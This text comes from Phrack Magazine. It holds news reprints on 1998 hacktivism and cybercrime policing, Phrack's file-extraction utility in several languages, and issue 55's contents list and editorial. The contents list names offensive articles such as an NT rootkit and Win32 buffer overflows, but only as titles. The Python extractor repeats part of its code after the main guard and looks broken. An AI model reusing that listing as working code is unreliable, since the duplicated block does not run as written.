Last week, for example, a group of hackers called X‑pilot rewrote the home page of a Mexican government site to protest what they said were instances of government corruption and censorship. The group, which did not reply to several emails, made the claims to the Hacker News Network. The hacktivists were bringing an offline issue into the online world, McClandish said.

The phenomenon is becoming common enough that next month, the longtime computer‑security group, the Cult of the Dead Cow will launch the resource site hacktivism.org. The site will host online workshops, demonstrations, and software tools for digital activists.

"We want to provide resources to empower people who want to take part in activism on the Internet," said Oxblood Ruffian, a former United Nations consultant who belongs to the Cult of the Dead Cow.

Oxblood Ruffian's group is no newcomer to hacktivism. They have been working with the Hong Kong Blondes, a near‑mythical group of Chinese dissidents that have been infiltrating police and security networks in China in an effort to forewarn political targets of imminent arrests.

In a recent Wired News article, a member of the group said it would target the networks and Web sites of US companies doing business with China.

Other recent hacktivist actions include a wave of attacks in August that drew attention to alleged human rights abuses in Indonesia. In June, attacks on computer systems in India's atomic energy research lab protested that country's nuclear bomb tests.

More recently, on Mexican Independence Day, a US‑based group called Electronic Disturbance Theater targeted the Web site of Mexican President Ernesto Zedillo. The action was intended to protest Zedillo's alleged mistreatment of the Zapatista rebels in Chiapas. Nearly 8,000 people participated in the digital sit‑in, which attempted to overwhelm the Mexican president's Web servers.

"What we are trying to do is to find a place where the public can register their dissatisfaction in cyberspace, so that your everyday [mouse] clicker can participate in a public protest," said EDT co‑founder Ricardo.

The apparent increase in hacktivism may be due in part to the growing importance of the Internet as a means of communication. As more people go online, Web sites become high‑profile targets.

It also demonstrates that many government sites are fairly easy to crack, said one former member of Milw0rm, the now defunct group that defaced the Indian research lab's Web site. In an interview in Internet Relay Chat, the cracker rattled off a list of vulnerable US government Web sites ‑including one hosting an electron particle accelerator and another of a US politician ‑‑ and their susceptibility to bugs.

"They don't pay enough for computer people," said the cracker, who goes by the name t3k‑9. "You get $50,000 for a $150,000 job."

Some security experts also believe that there is a new generation of crackers emerging. "The rise in political cracking in the past couple of years is because we now have the first generation of kids that have grown up with the Net," John Vranesevich, founder of the computer security Web site AntiOnline. "The first generation of the kids that grew up hacking are now between 25 and 35 ‑ often the most politically active years in peoples' lives."

"When the Cult of the Dead Cow was started in 1984, the average age [of our members] was 14, and they spent their time hacking soda machines," said Oxblood Ruffian. "But the last couple of years has marked a turning point for us. Our members are older, politicized, and extremely technically proficient."

While hacktivists are lining up along one border, police and law enforcement officials are lining up along another.

This year the FBI will establish a cyber warfare center called the National Infrastructure Protection Center. The US$64 million organization will replace the Computer Investigations and Infrastructure Threat Assessment Center and involve the intelligence community and the military.

Allan Paller, director of research for the SANS Institute, said the FBI is staffing the new facility with the government's top security experts. "They are stealing people from good places, including a woman from the Department of Energy who was particularly good," he said in a recent interview. "They are taking brilliant people."

Paller also said that a grassroots effort is under way in Washington to establish a National Intrusion Center, modeled after the Centers for Disease Control.

"There is definitely an increased threat of cyber terrorism," said Stephen Berry, spokesman for the FBI press office in Washington.

As offline protests ‑‑ which are protected in the United States by the constitution ‑‑ enter the next digital age, the question remains: How will the FBI draw the distinction between relatively benign online political protests and cyber terrorism?

0x20>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Phrack straddles the world of hackers

Source: Nando Times

Date: September 20, 1998

The lines of text scrolled off the screen quickly, but the bleached‑blond hacker snatched quick glances at the visitors' log on his Web page. Lots of visitors using military and government computers. The hacker, who calls himself Route, said he always gets a kick out of the feds' visits. He smiled.

The FBI, the CIA and the others "wouldn't be doing their job if they weren't tracking computer information both legitimate and illegitimate," Route said. "I guess Phrack falls somewhere in between."

Phrack is an online publication called a 'zine. It's a digital chimera: written for hackers but read by law enforcement, too. It's been the subject of federal prosecution, yet it still operates in the open. Its name combines "hack" and "phreak," which refers to phone hacking.

It's got attitude, technical know‑how and in many ways defines today's hacker scene. It first hit the electronic bulletin boards Nov. 17, 1985, ages ago in hacker years.

To put its longevity in perspective, Phrack came out two years after the movie "WarGames" in which actor Matthew Broderick established the now‑cliched image of the hacker as the lonely kid who altered his grades with a computer. Phrack predates the World Wide Web by almost a decade. And Phrack is older than many of its readers, who number about 8,000, said Route, who refuses to give his real name.

Route, 24, doesn't look like the scrawny computer nerd with the cathode‑ray pallor so many think of when the word hacker is mentioned. Silver earrings dangle from each ear and a bar pierces his tongue. Spidery tattoos creep down his shoulders and over biceps grown solid with hours of iron work.

Behind his glower lies a keen mind that cuts through computer network problems like a digital knife, an invaluable skill for his day job at a computer security firm with Fortune 500 companies for clients. Route refused to name his company.

Phrack's improbable history begins in 1985 when a hacker with the handle Taran King cobbled together various subversive texts that had been circulating like Soviet‑era samizdat on the archipelago of underground electronic bulletin boards. It included all sorts of mischief‑making: "How to Pick Master Locks," "How to Make an Acetylene Bomb" and "School/College Computer Dial‑Ups."

But Phrack found itself the focus of federal prosecution in 1990, when editor Craig Neidorf, also known as Knight Lightning, was prosecuted by the Chicago Computer Fraud and Abuse Task Force. His alleged crime? He published a document in Phrack with certain details of the emergency 911 systems in use around the country. It had been given to him by another hacker who had copied it from computers owned by BellSouth, which valued it at almost $80,000.

But the task force wanted to prove the document was more than valuable. Assistant U.S. Attorney William J. Cook said it put dangerous information in the hands of hackers.

The case fell apart when Neidorf's lawyer proved that more detailed information about the system had appeared in other publications. You could order them from phone company technical catalogs for $13. The charges were dropped. Neidorf's trial was over.

If today's Phrack is a bit less confrontational, that's understandable. Like many of the older hackers, Route is shifting his focus away from anarchy texts and phone hacking to computer security. Its "how‑to" days are pretty much over.

"Phrack is not meant to be a manual of vulnerabilities," he said.

As the editor, Route knows that Phrack can still be used for illegal purposes. "But you can't hold people completely liable for just putting information out there."

He said he has had "blatantly illegal stuff" sent to him. Once, he said he received the technical specifications for most pager systems used in the country, complete with how to hack those systems. He didn't publish.

"It's a judgment call," he said. "I have no intention of running up against the law or (upsetting) the military."

But it's almost guaranteed that something gleaned from Phrack will be used against the computer system of a big and powerful organization or business.

"The scene is going to do what the scene is going to do," he said. "It's like any clique in society. You have good people and you have bad people."

0x21>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Cops see little hope in controlling computer crime

By: Rob Lemos,

Source: ZDNN

Date: August 6, 1998 10:16 AM PT

Despite making headway combating high‑tech criminals, law enforcement officials say they remain worried about their ability to investigate and prosecute cyber crimes. Encryption, anonymity, and the jurisdictional problems posed by a global Internet are quickly turning from small headaches to full‑blown migraines for local, state, and federal police forces.

"It's hard to predict where we will be in 10 years," said Scott Charney, chief of the computer crime and intellectual property section of the U.S. Department of Justice. "But there are going to be all sorts of birthing pains." Charney gathered here with other computer‑savvy law enforcement officials to attend an international symposium on criminal justice issues at the University of Illinois at Chicago. The symposium focused on high‑tech crime, cyber‑terrorism, and information warfare.

Invisible criminals Law enforcement officers say one of their biggest challenges paradoxically remains knowing when a crime is committed.

According to the General Accounting Office, there were 250,000 attempted break‑ins at the Department of Defense in 1995. NASA estimates that crackers ‑‑ hacker criminals ‑‑ broke in to over 120,000 of its systems in 1996. Yet, few of those incidents are detected, much less reported. When DOD hackers broke into their own servers in 1996 and 1997, they attacked 38,000 machines. Only four percent of the incidents were detected. Out of that number, only 27 percent of detected break‑ins were reported.

"We will get better," said Doris Gardner, an investigator with the National Infrastructure Protection Center, a new federal agency established to fight computer crime. "We need to educate ‑‑ to work better with each other."

Pandora's box

Yet, even as law enforcement is educating itself on the challenges ahead, experts here said cyber‑criminals continue to refine their abilities.

According to the DOJ's Charney, the number of cases involving encrypted data climbed from three percent in 1996 to seven percent in 1997. If that trend continues, he said, the only tactic left for law enforcement is to increase its surveillance capabilities.

"If privacy advocates get their way on encryption," said Charney, "they may not be happy."

With no way to read into encrypted electronic documents, he added, the FBI and others will have to rely on capturing the evidence at the source. "And that could really decrease privacy."

Even so, there are other ways around encryption. In 1996, when an ISP reported that its system had been cracked, all FBI leads ran into brick walls. Luckily, the cracker, Carlos Salgado Jr. ‑‑ who had stolen over 100,000 credit card numbers worth more than an estimated $160 million ‑found a potential buyer who suspected his credit card was one of the ones on the block to be sold. The "buyer" contacted the FBI and became a cooperative witness in the case.

Despite Salgado's extensive use of encryption ‑‑ both his e‑mails and the actual credit‑card data were encrypted ‑‑ the FBI had no problems collecting evidence, because their witness received all the codes from Salgado.

Luck, or a trend? It's too early to tell, but Gardner, for one, seems positive on the FBI's ability to prosecute. "If we know about it," she said, "we can usually prosecute it."

extract.c

‑‑‑[ Phrack Magazine Volume 8, Issue 54 Dec 25th, 1998, article 12 of 12

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Phrack Magzine Extraction Utility

‑‑‑‑‑‑‑‑[ Phrack Staff

New this issue: A win32 version.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑CUT‑HERE‑‑‑‑‑‑‑‑‑‑‑>8‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

<++> EX/PMEU/extract3.c

/* extract.c by Phrack Staff and sirsyko

*

* (c) Phrack Magazine, 1997, 1998

* version 3 (P54): 07.14.98

* ‑ patched by Cipso to allow for redirection from stdin * ‑ patched by route to return heap memory when no longer needed * version 2 (P53): 01.08.98 rewritten by route

* ‑ aesthetics

* ‑ now accepts file globs

* todo:

* ‑ more info in tag header (file mode, checksum)

*

* Extracts textfiles from a specially tagged flatfile into a hierarchical * directory strcuture. Use to extract source code from any of the articles * in Phrack Magazine (first appeared in Phrack 50).

*

* gcc ‑o extract extract.c

*

* Usage:

*

* ./extract file1 file2 file3 ...

* OR

* bzip2 ‑dc P54‑*.bz2 | ./extract ‑

*/

#include <stdio.h>

#include <stdlib.h>

#include <sys/stat.h>

#include <string.h>

#include <errno.h>

#include <dirent.h>

#define BEGIN_TAG "<++> "

#define END_TAG "<‑‑>"

#define BT_SIZE strlen(BEGIN_TAG)

#define ET_SIZE strlen(END_TAG)

struct f_name

{

u_char name[256];

struct f_name *next;

};

int

main(int argc, char **argv)

{

u_char b[256], *bp, *fn;

int i, j = 0;

FILE *in_p, *out_p = NULL;

struct f_name *fn_p = NULL, *head = NULL, *tmp = NULL; char *name;

if (argc < 2)

{

printf("Usage: %s file1 file2 ... filen\n", argv[0]); exit(0);

}

/*

* Fill the f_name list with all the files on the commandline (ignoring * argv[0] which is this executable). This includes globs. */

for (i = 1; (fn = argv[i++]); )

{

if (!head)

{

if (!(head = (struct f_name *)malloc(sizeof(struct f_name)))) {

perror("malloc");

exit(1);

}

strncpy(head‑>name, fn, sizeof(head‑>name)); head‑>next = NULL;

fn_p = head;

}

else

{

if (!(fn_p‑>next = (struct f_name *)malloc(sizeof(struct f_name)))) {

perror("malloc");

exit(1);

}

fn_p = fn_p‑>next;

strncpy(fn_p‑>name, fn, sizeof(fn_p‑>name)); fn_p‑>next = NULL;

}

}

/*

* Sentry node.

*/

if (!(fn_p‑>next = (struct f_name *)malloc(sizeof(struct f_name)))) {

perror("malloc");

exit(1);

}

fn_p = fn_p‑>next;

fn_p‑>next = NULL;

/*

* Check each file in the f_name list for extraction tags. */

for (fn_p = head; fn_p‑>next;)

{

if (!strcmp(fn_p‑>name, "‑"))

{

in_p = stdin;

name = "stdin";

}

else if (!(in_p = fopen(fn_p‑>name, "r")))

{

fprintf(stderr, "Could not open input file %s.\n", fn_p‑>name); continue;

}

else

{

name = fn_p‑>name;

}

fprintf(stderr, "Opened %s\n", name);

while (fgets(b, 256, in_p))

{

if (!strncmp (b, BEGIN_TAG, BT_SIZE))

{

b[strlen(b) ‑ 1] = 0; /* Now we have a string. */

j++;

if ((bp = strchr(b + BT_SIZE + 1, '/'))) {

while (bp)

{

*bp = 0;

if (mkdir(b + BT_SIZE, 0700) == ‑1 && errno != EEXIST) { perror("mkdir"); exit(1);

}

*bp = '/';

bp = strchr(bp + 1, '/');

}

}

if ((out_p = fopen(b + BT_SIZE, "w"))) {

printf("‑ Extracting %s\n", b + BT_SIZE); }

else

{

printf("Could not extract '%s'.\n", b + BT_SIZE); continue;

}

}

else if (!strncmp (b, END_TAG, ET_SIZE))

{

if (out_p) fclose(out_p);

else

{

fprintf(stderr, "Error closing file %s.\n", fn_p‑>name); continue;

}

}

else if (out_p)

{

fputs(b, out_p);

}

}

if (in_p != stdin) fclose(in_p);

tmp = fn_p;

fn_p = fn_p‑>next;

free(tmp);

}

if (!j) printf("No extraction tags found in list.\n"); else printf("Extracted %d file(s).\n", j);

return (0);

}

/* EOF */

<‑‑>

<++> EX/PMEU/extract.pl

# Daos <daos@nym.alias.net>

#!/bin/sh ‑‑ # ‑*‑ perl ‑*‑ ‑n

eval 'exec perl $0 ‑S ${1+"$@"}' if 0;

$opening=0;

if (/^\<\+\+\>/) {$curfile = substr($_ , 5); $opening=1;};

if (/^\<\‑\‑\>/) {close ct_ex; $opened=0;};

if ($opening) {

chop $curfile;

$sex_dir= substr( $curfile, 0, ((rindex($curfile,'/'))) ) if ($curfile =~ m/\//);

eval {mkdir $sex_dir, "0777";}; open(ct_ex,">$curfile");

print "Attempting extraction of $curfile\n"; $opened=1;

}

if ($opened && !$opening) {print ct_ex $_};

<‑‑>

<++> EX/PMEU/extract.awk

#!/usr/bin/awk ‑f

#

# Yet Another Extraction Script

# ‑ <sirsyko>

#

/^\<\+\+\>/ {

ind = 1

File = $2

split ($2, dirs, "/")

Dir="."

while ( dirs[ind+1] ) { Dir=Dir"/"dirs[ind]

system ("mkdir " Dir" 2>/dev/null") ++ind

}

next

}

/^\<\‑\‑\>/ {

File = ""

next

}

File { print >> File }

<‑‑>

<++> EX/PMEU/extract.sh

#!/bin/sh

# exctract.sh : Written 9/2/1997 for the Phrack Staff by <sirsyko> #

# note, this file will create all directories relative to the current directory # originally a bug, I've now upgraded it to a feature since I dont want to deal # with the leading / (besides, you dont want hackers giving you full pathnames # anyway, now do you :)

# Hopefully this will demonstrate another useful aspect of IFS other than # haxoring rewt

#

# Usage: ./extract.sh <filename>

cat $* | (

Working=1

while [ $Working ];

do

OLDIFS1="$IFS"

IFS=

if read Line; then

IFS="$OLDIFS1"

set ‑‑ $Line

case "$1" in

"<++>") OLDIFS2="$IFS" IFS=/

set ‑‑ $2 IFS="$OLDIFS2" while [ $# ‑gt 1 ]; do

File=${File:‑"."}/$1

if [ ! ‑d $File ]; then

echo "Making dir $File"

mkdir $File

fi

shift

done

File=${File:‑"."}/$1 echo "Storing data in $File" ;;

"<‑‑>") if [ "x$File" != "x" ]; then

unset File

fi ;;

*) if [ "x$File" != "x" ]; then

IFS=

echo "$Line" >> $File

IFS="$OLDIFS1"

fi

;;

esac

IFS="$OLDIFS1"

else

echo "End of file"

unset Working

fi

done

)

<‑‑>

<++> EX/PMEU/extract.py

#! /bin/env python

# extract.py Timmy 2tone <_spoon_@usa.net>

import sys, string, getopt, os

class Datasink:

"""Looks like a file, but doesn't do anything."""

def write(self, data): pass

def close(self): pass

def extract(input, verbose = 1):

"""Read a file from input until we find the end token."""

if type(input) == type('string'):

fname = input

try: input = open(fname)

except IOError, (errno, why):

print "Can't open %s: %s" % (fname, why) return errno

else:

fname = '<file descriptor %d>' % input.fileno()

inside_embedded_file = 0

linecount = 0

line = input.readline()

while line:

if not inside_embedded_file and line[:4] == '<++>':

inside_embedded_file = 1

linecount = 0

filename = string.strip(line[4:])

if mkdirs_if_any(filename) != 0:

pass

try: output = open(filename, 'w')

except IOError, (errno, why):

print "Can't open %s: %s; skipping file" % (filename, why) output = Datasink()

continue

if verbose:

print 'Extracting embedded file %s from %s...' % (filename,

fname),

elif inside_embedded_file and line[:4] == '<‑‑>': output.close()

inside_embedded_file = 0

if verbose and not isinstance(output, Datasink): print '[%d lines]' % linecount

elif inside_embedded_file:

output.write(line)

# Else keep looking for a start token.

line = input.readline()

linecount = linecount + 1

def mkdirs_if_any(filename, verbose = 1):

"""Check for existance of /'s in filename, and make directories."""

path, file = os.path.split(filename)

if not path: return

errno = 0

start = os.getcwd()

components = string.split(path, os.sep)

for dir in components:

if not os.path.exists(dir):

try:

os.mkdir(dir)

if verbose: print 'Created directory', path

except os.error, (errno, why):

print "Can't make directory %s: %s" % (dir, why) break

try: os.chdir(dir)

except os.error, (errno, why):

print "Can't cd to directory %s: %s" % (dir, why) break

os.chdir(start)

return errno

def usage():

"""Blah."""

die('Usage: extract.py [‑V] filename [filename...]')

def main():

try: optlist, args = getopt.getopt(sys.argv[1:], 'V') except getopt.error, why: usage()

if len(args) <= 0: usage()

if ('‑V', '') in optlist: verbose = 0

else: verbose = 1

for filename in args:

if verbose: print 'Opening source file', filename + '...' extract(filename, verbose)

def db(filename = 'P51‑11'):

"""Run this script in the python debugger."""

import pdb

sys.argv[1:] = ['‑v', filename]

pdb.run('extract.main()')

def die(msg, errcode = 1):

print msg

sys.exit(errcode)

if __name__ == '__main__':

try: main()

except KeyboardInterrupt: pass

except getopt.error, why: usage()

if len(args) <= 0: usage()

if ('‑V', '') in optlist: verbose = 0

else: verbose = 1

for filename in args:

if verbose: print 'Opening source file', filename + '...' extract(filename, verbose)

def db(filename = 'P51‑11'):

"""Run this script in the python debugger."""

import pdb

sys.argv[1:] = [filename]

pdb.run('extract.main()')

def die(msg, errcode = 1):

print msg

sys.exit(errcode)

if __name__ == '__main__':

try: main()

except KeyboardInterrupt: pass # No messy traceback. <‑‑>

<++> EX/PMEU/extract‑win.c

/***************************************

/* WinExtract

/*

/* Written by Fotonik <fotonik@game‑master.com>. */

/*

/* Coding of WinExtract started on 22aug98. */

/*

/* This version (1.0) was last modified on 22aug98. */

/*

/* This is a Win32 program to extract text files from a specially tagged */

/* flat file into a hierarchical directory structure. Use to extract */

/* source code from articles in Phrack Magazine. The latest version of */

/* this program (both source and executable codes) can be found on my */

/* website: http://www.altern.com/fotonik */

/***************************************

#include <stdio.h>

#include <string.h>

#include <windows.h>

void PowerCreateDirectory(char *DirectoryName);

int WINAPI WinMain(HINSTANCE hThisInst, HINSTANCE hPrevInst, LPSTR lpszArgs, int nWinMode)

{

OPENFILENAME OpenFile; /* Structure for Open common dialog box */

char InFileName[256]="";

char OutFileName[256];

char Title[]="WinExtract ‑ Choose a file to extract files from."; FILE *InFile;

FILE *OutFile;

char Line[256];

char DirName[256];

int FileExtracted=0; /* Flag used to determine if at least one file was */

int i; /* extracted */

ZeroMemory(&OpenFile, sizeof(OPENFILENAME)); OpenFile.lStructSize=sizeof(OPENFILENAME); OpenFile.hwndOwner=HWND_DESKTOP;

OpenFile.hInstance=hThisInst;

OpenFile.lpstrFile=InFileName; OpenFile.nMaxFile=sizeof(InFileName)‑1;

OpenFile.lpstrTitle=Title;

OpenFile.Flags=OFN_FILEMUSTEXIST | OFN_HIDEREADONLY;

if(GetOpenFileName(&OpenFile))

{

if((InFile=fopen(InFileName,"r"))==NULL)

{

MessageBox(NULL,"Could not open file.",NULL,MB_OK); return 0;

}

/* If we got here, InFile is opened. */

while(fgets(Line,256,InFile))

{

if(!strncmp(Line,"<++> ",5)) /* If line begins with "<++> " */

{

Line[strlen(Line)‑1]='\0'; strcpy(OutFileName,Line+5);

/* Check if a dir has to be created and create one if necessary */

for(i=strlen(OutFileName)‑1;i>=0;i‑‑)

{ if((OutFileName[i]=='\\')||(OutFileName[i]=='/')) {

strncpy(DirName,OutFileName,i); DirName[i]='\0'; PowerCreateDirectory(DirName); break;

}

}

if((OutFile=fopen(OutFileName,"w"))==NULL)

{

MessageBox(NULL,"Could not create file.",NULL,MB_OK); fclose(InFile);

return 0;

}

/* If we got here, OutFile can be written to */

while(fgets(Line,256,InFile))

{

if(strncmp(Line,"<‑‑>",4)) /* If line doesn't begin w/ "<‑‑>" */

{

fputs(Line, OutFile);

}

else

{

break;

}

}

fclose(OutFile);

FileExtracted=1;

}

}

fclose(InFile);

if(FileExtracted)

{

MessageBox(NULL,"Extraction sucessful.","WinExtract",MB_OK); }

else

{

MessageBox(NULL,"Nothing to extract.","Warning",MB_OK); }

}

return 1;

}

/* PowerCreateDirectory is a function that creates directories that are */

/* down more than one yet unexisting directory levels. (e.g. c:\1\2\3) */

void PowerCreateDirectory(char *DirectoryName)

{

int i;

int DirNameLength=strlen(DirectoryName);

char DirToBeCreated[256];

for(i=1;i<DirNameLength;i++) /* i starts at 1, because we never need to */

{ /* create '/' */

if((DirectoryName[i]=='\\')||(DirectoryName[i]=='/')|| (i==DirNameLength‑1))

{

strncpy(DirToBeCreated,DirectoryName,i+1); DirToBeCreated[i+1]='\0'; CreateDirectory(DirToBeCreated,NULL);

}

}

}

<‑‑>

55

- Introduction by Phrack Staff

- Phrack Loopback by Phrack Staff

- Phrack Line Noise by various

- Phrack Tribute to W. Richard Stevens by Phrack Staff

- A Real NT Rootkit by Greg Hoglund

- The Libnet Reference Manual by route

- PERL CGI Problems by rfp

- Frame Pointer Overwriting by klog

- Distributed Information Gathering by hybrid

- Building Bastion Routers with IOS by Variable K & Brett

- Stego Hasho by Conehead

- Building Into The Linux Network Layer by lifeline & kossak

- The Black Book of AFS by nicnoc

- A Global Positioning System Primer by e5

- Win32 Buffer Overflows... by dark spyrit

- Distributed Metastasis... by Andrew J. Stewart

- H.323 Firewall Security Issues by Dan Moniz

- Phrack World News by disorder

- Phrack Magazine Extraction Utility by Phrack Staff

Introduction

‑‑‑‑‑‑‑[ Phrack Magazine ‑‑‑ Vol. 9 | Issue 55 ‑‑‑ 09.09.99 ‑‑‑ 01 of 19 ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ P H R A C K 5 5 I N D E X ]

‑‑‑‑‑‑‑‑[ Return of the Genius Loci ]

Lies! Lies! Lies! Lord of the Lies. That's me. I promised a timely Phrack and look what happened. A 9 month lapse. Whew. Wow. Ri‑friggin‑diculous. Holy crap I suck. To all you patient/ambivalent readers out there ‑‑ terribly sorry about that. To all you whiners/complainers in the end, it just goes to show you: Fuck Off. For all you people that contributed nothing except negative commentary over the past few months, I'd like to introduce you to the real world. The real world is where free computer security technical journals don't pay bills or get you chicks. Or get you chicks that pay bills for that matter.

THAT'S THE WORLD I LIVE IN.

TRUST ME WHEN I TELL YOU I WOULD CHANGE IT IF I COULD.

But I can't. So I do what I do to make ends meet. Sometimes it gets in the way.

Hrm. You think 9 months is bad? Let's take a look at the publishing history of Phrack Magazine, since its inception, way back in November of 1985. I present to you the publishing schedule of Phrack Magazine from 1985 ‑ 1999.

________________________________________

Jan | 02? 10 23 52

Feb | 03 11 24

Mar | 04 12 25 37 42 45

Apr | 05 13 17 26 38 47 50 May | 31

Jun | 06 18 27 39

Jul | 14 19 43 53 Aug | 15 40

Sep | 07 33 46 48 51 55 Oct | 08? 16? 20 28 34

Nov | 01 21 29 32 35 44 49 Dec | 09? 22 30 36 41 54

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Ok.. Things look pretty good for the first year... 8 issues in one year. Not bad fellas, not bad... Uh‑oh! A 6 month gap between 16 and 17! What's up? Apparently, the editors at that time (Phrack's founding fathers TK and KL) had gone off to college and left the Magazine in the hands Elric of Imrryr. Mmmhmm. A FLIMSY EXCUSE! The next large gap we see is between 32 and 33. Apparently there was some crap going on having to do with the Secret Service shutting Phrack down and something about issues 31 and 32 not being sanctioned or something... Blah blah blah. Ok great. This was like 8 years ago. Who the hell carez. At any rate, things appear to be pretty much business as usual after that. Then something amazing ‑‑ Chris Goggans takes over. First a 3 month gap. Then a 4 month lapse. Then back down to 3. Then up to 5. Then 6. Then the unthinkable happens. A 16 month coma.

THEN YOURS TRULY TAKEZ OVER AT THE HELM AND BREATHEZ SOME LIFE INTO THIS DEAD BODY!

BOOM BAP! Check out THESE NUMBERS: 2 months, 4 months, 4 months, 3 months, 5 months!... Um. 9 months. Ok. Well. Oops. My point is... Well. 9 months isn't as bad as Goggans. So there you have it! Basically, when all's said and done, at the end of the day, I am not as bad as Goggans.

In any event, this issue has a surplus of good articles. Read them.

In other news, we heard a nasty rumor. Starting September 11th, 1999 Network Solutions "the dot com people" (*how adorable*) are going to start their policy of requiring prepayment at the time of domain‑name registration. What does this mean to you? NO MORE FREE DOMAINS FOR THREE MONTHS! No more `try before you buy`, no more `cooling‑off` period. If you fuck up and register `masster‑ninja.com` brother, you're stuck with it! So check your spelling.

Oh yah. I have something very un‑P.C. to say, something very controversial... Something you're not going to like.. But I have to say it:

GOD BLESS CANADA!

WAIT. HOLD ON. Before you rm this issue, give me a chance to explain why Canada rules. If it wasn't for Canada, there would be no t00nces. There. That's the sole reason why Canada rules. If it wasn't for t00nces, there would have probably been a murder at the last Phrack sponsored BBQ (or at the very least, some serious battery). On 3 separate occasions he quelled major rucki. The largest of which would have resulted in drunken dirtbag being pummeled into chowder. He would have been a little smudgie on my front lawn. As much as I am usually down for a drunken dirtbag pummeling, we can't have that at the house. t00nces is an all‑around great guy. He's definitely my favorite Canadian‑American citizen.

Besides. I lost our Country's pride when I played him in our monthly America vs. Canada pool game. My penance was to write a treatise on how much Canada rules. Well. The best I can do is how much t00nces rules.

Phrack Magazine mourns the recent passing of W. Richard Stevens. For a special tribute, please see P55‑04.

Enjoy the magazine. It is by and for the hacking community. Period.

‑‑ Editor in Chief ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ route

‑‑ Phrack World News ‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ disorder

‑‑‑‑‑‑‑‑ Elite ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> daveg

‑‑ Official Phrack King Crab ‑‑‑‑‑‑[ loadammo

‑‑ Official Phrack Girlfriend ‑‑‑‑[ A.R.A.

‑‑ B.A. Baracus Phrack Fracas ‑‑‑‑‑[ PETE F. vs. KRIS C.

‑‑ Official Phrack Long Gun ‑‑‑‑‑‑‑[ Bennelli M1 Super 90 (tactical) ‑‑ WHOA HO HO ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ aaronb

‑‑ Netris Championz ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ prym & ReDragon

‑‑ Ketel One Connoisseur ‑‑‑‑‑‑‑‑‑‑[ vision

‑‑ Official Phrack Bouncer ‑‑‑‑‑‑‑‑[ t00nces

‑‑ Congratulations to ‑‑‑‑‑‑‑‑‑‑‑‑‑[ W.O.F. and N.R.A.

‑‑ Special Thankz to ‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ kweiheri, kamee

‑‑ Shout Outs and Thank Yous ‑‑‑‑‑‑[ h4g1z, felix, WAYNE, rfp, nocarrier, dug

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| song, incr, dreck, nicnoc, e5, sw_r,

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| greg hoglund and dark spyrit, sangfroid,

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| dnm

‑ You're not in the club if ‑‑‑‑‑‑‑[ you don't recognize half of these people

Phrack Magazine V. 9, #55, September 09, 1999. ISSN 1068‑1035 Contents Copyright (c) 1999 Phrack Magazine. All Rights Reserved. Nothing may be reproduced in whole or in part without written permission from the editor in chief. Phrack Magazine is made available to the public, as often as possible, free of charge. Go nuts people.

Contact Phrack Magazine

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Editor in Chief: route@phrack.com

Submissions: route@phrack.com

Associate Editor: alhambra@phrack.com

Commentary: loopback@phrack.com

Phrack World News: disorder@phrack.com

Submissions to the above email address may be encrypted with the following key:

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: PGPfreeware 5.0i for non‑commercial use

